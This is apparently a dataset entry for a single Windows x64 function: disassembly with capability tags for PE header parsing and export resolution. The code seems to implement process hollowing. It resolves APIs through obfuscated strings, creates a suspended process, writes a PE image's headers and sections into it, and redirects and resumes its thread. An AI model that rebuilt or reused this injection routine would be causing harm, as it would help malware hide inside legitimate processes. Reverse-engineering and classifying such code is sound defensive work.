Function at 0x1400039a8
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r9
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x58]
sub rsp, 0x130
mov r15, r8
mov rdi, rdx
mov r14, rcx
xor ebx, ebx
mov r12b, bl
mov qword [rsp + 0x60], rbx
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], rbx
call fcn.140002050
mov r13d, eax
mov sil, byte [rbp + 0x98]
test sil, sil
je 0x140003a9a
lea rcx, [rsp + 0x68]
call fcn.14000e844
nop
mov r9b, byte [rbp + 0x90]
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
mov ecx, r13d
call fcn.140003654
xor r13d, r13d
test al, al
je 0x140003a69
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140003a69
lea rax, [rbp + 0x80]
mov qword [rsp + 0x28], rax
call fcn.1400ac80c
test eax, eax
je 0x140003a69
mov rdx, qword [rsp + 0x60]
lea rcx, [rbp + 0x78]
call fcn.140006cc4
movzx ebx, bl
test eax, eax
lea eax, [r13 + 1]
cmovne ebx, eax
lea rcx, [rsp + 0x68]
call fcn.14000e83c
test bl, bl
jne 0x140003a9d
xor al, al
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor r13d, r13d
lea rdx, [0x1400c4520]
lea rcx, [rsp + 0x68]
call fcn.1400a8494
mov rcx, rax
call fcn.14000e574
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rcx, [rsp + 0x68]
call fcn.14000e83c
test rbx, rbx
je 0x140003a77
lea rdx, [0x1400c36b0]
lea rcx, [rbp - 0x68]
call fcn.1400a8494
mov rcx, rax
call fcn.14000e574
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400d62c8], rax
lea rcx, [rbp - 0x68]
call fcn.14000e83c
lea rdx, [0x1400c36e0]
lea rcx, [rbp - 0x68]
call fcn.1400a8494
mov rcx, rax
call fcn.14000e574
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400d62c0], rax
lea rcx, [rbp - 0x68]
call fcn.14000e83c
lea rdx, [0x1400c3710]
lea rcx, [rbp - 0x68]
call fcn.1400a8494
mov rcx, rax
call fcn.14000e574
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400d62b8], rax
lea rcx, [rbp - 0x68]
call fcn.14000e83c
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x140003d85
movsxd rbx, dword [r14 + 0x3c]
add rbx, r14
cmp dword [rbx], 0x4550
jne 0x140003d85
lea rdx, [rbp + 0x98]
mov rcx, rdi
call fcn.14000745c
mov ecx, 0x14c
mov eax, dword [rbp + 0x98]
cmp word [rbx + 4], cx
jne 0x140003bb7
test eax, eax
jne 0x140003a77
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x140003bcb
cmp eax, 6
jne 0x140003a77
mov edx, 0x18
lea rcx, [rsp + 0x68]
call fcn.14000e148
mov edx, 0x68
lea rcx, [rbp - 0x40]
call fcn.14000e148
mov dword [rbp - 0x40], edx
mov dword [rbp - 4], 0x101
mov word [rbp], r13w
lea rax, [rsp + 0x68]
test sil, sil
je 0x140003c34
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 0x78]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov r8, r15
mov rdx, rdi
mov rcx, qword [rbp + 0x80]
call fcn.1400ac8b8
jmp 0x140003c4d
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov rdx, r15
mov rcx, rdi
call fcn.1400ac9a0
test eax, eax
je 0x140003d85
mov esi, 8
mov edx, esi
call fcn.1400ac758
mov rdi, rax
mov qword [rbp - 0x70], rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call fcn.140007a60
mov rcx, qword [rsp + 0x68]
test eax, eax
je 0x140003d80
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r13
mov r9d, esi
lea r8, [rbp - 0x48]
call qword [0x1400d62c8]
neg byte [rbp + 0x88]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], eax
xor edx, edx
mov rcx, qword [rsp + 0x68]
call fcn.1400079c8
mov qword [rbp - 0x78], rax
mov rcx, qword [rsp + 0x68]
test rax, rax
je 0x140003d80
mov r9d, dword [rbx + 0x54]
mov r8, r14
mov rdx, rax
call fcn.1400ac114
movzx esi, word [rbx + 0x14]
add rsi, 0x2c
mov r15d, r13d
cmp r13w, word [rbx + 6]
jae 0x140003d32
add rsi, rbx
mov edi, 1
mov r9d, dword [rsi - 4]
mov r8d, dword [rsi]
add r8, r14
mov edx, dword [rsi - 8]
add rdx, qword [rbp - 0x78]
mov rcx, qword [rsp + 0x68]
call fcn.1400ac114
lea rsi, [rsi + 0x28]
add r15d, edi
movzx eax, word [rbx + 6]
cmp r15d, eax
jl 0x140003d03
mov rdi, qword [rbp - 0x70]
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov r9d, 8
lea r8, [rbp - 0x78]
mov rcx, qword [rsp + 0x68]
call fcn.1400ac114
mov eax, dword [rbx + 0x28]
add rax, qword [rbp - 0x78]
mov qword [rdi + 0x80], rax
mov rdx, rdi
mov rcx, qword [rsp + 0x70]
call qword [0x1400d62c0]
mov rcx, qword [rsp + 0x70]
call qword [0x1400d62b8]
mov r12d, 1
jmp 0x140003d85
call fcn.1400ab7b4
cmp qword [rbp + 0x78], r13
je 0x140003e09
lea rdx, [0x1400c3730]
lea rcx, [rbp - 0x68]
call fcn.1400a8494
nop
mov rcx, rax
call fcn.14000e574
mov rcx, rax
call fcn.140006ad4
mov rbx, rax
lea rcx, [rbp - 0x68]
call fcn.14000e83c
test rbx, rbx
je 0x140003e05
lea rdx, [0x1400c3750]
lea rcx, [rsp + 0x68]
call fcn.1400a8494
mov rcx, rax
call fcn.14000e574
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400d62f0], rax
lea rcx, [rsp + 0x68]
call fcn.14000e83c
mov rax, qword [0x1400d62f0]
test rax, rax
je 0x140003e05
mov rcx, qword [rbp + 0x78]
call rax
mov qword [rbp + 0x78], r13
mov rcx, qword [rbp + 0x80]
test rcx, rcx
je 0x140003e21
call fcn.140007dd0
mov qword [rbp + 0x80], r13
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140003e30
call fcn.140007dd0
mov al, r12b
jmp 0x140003a79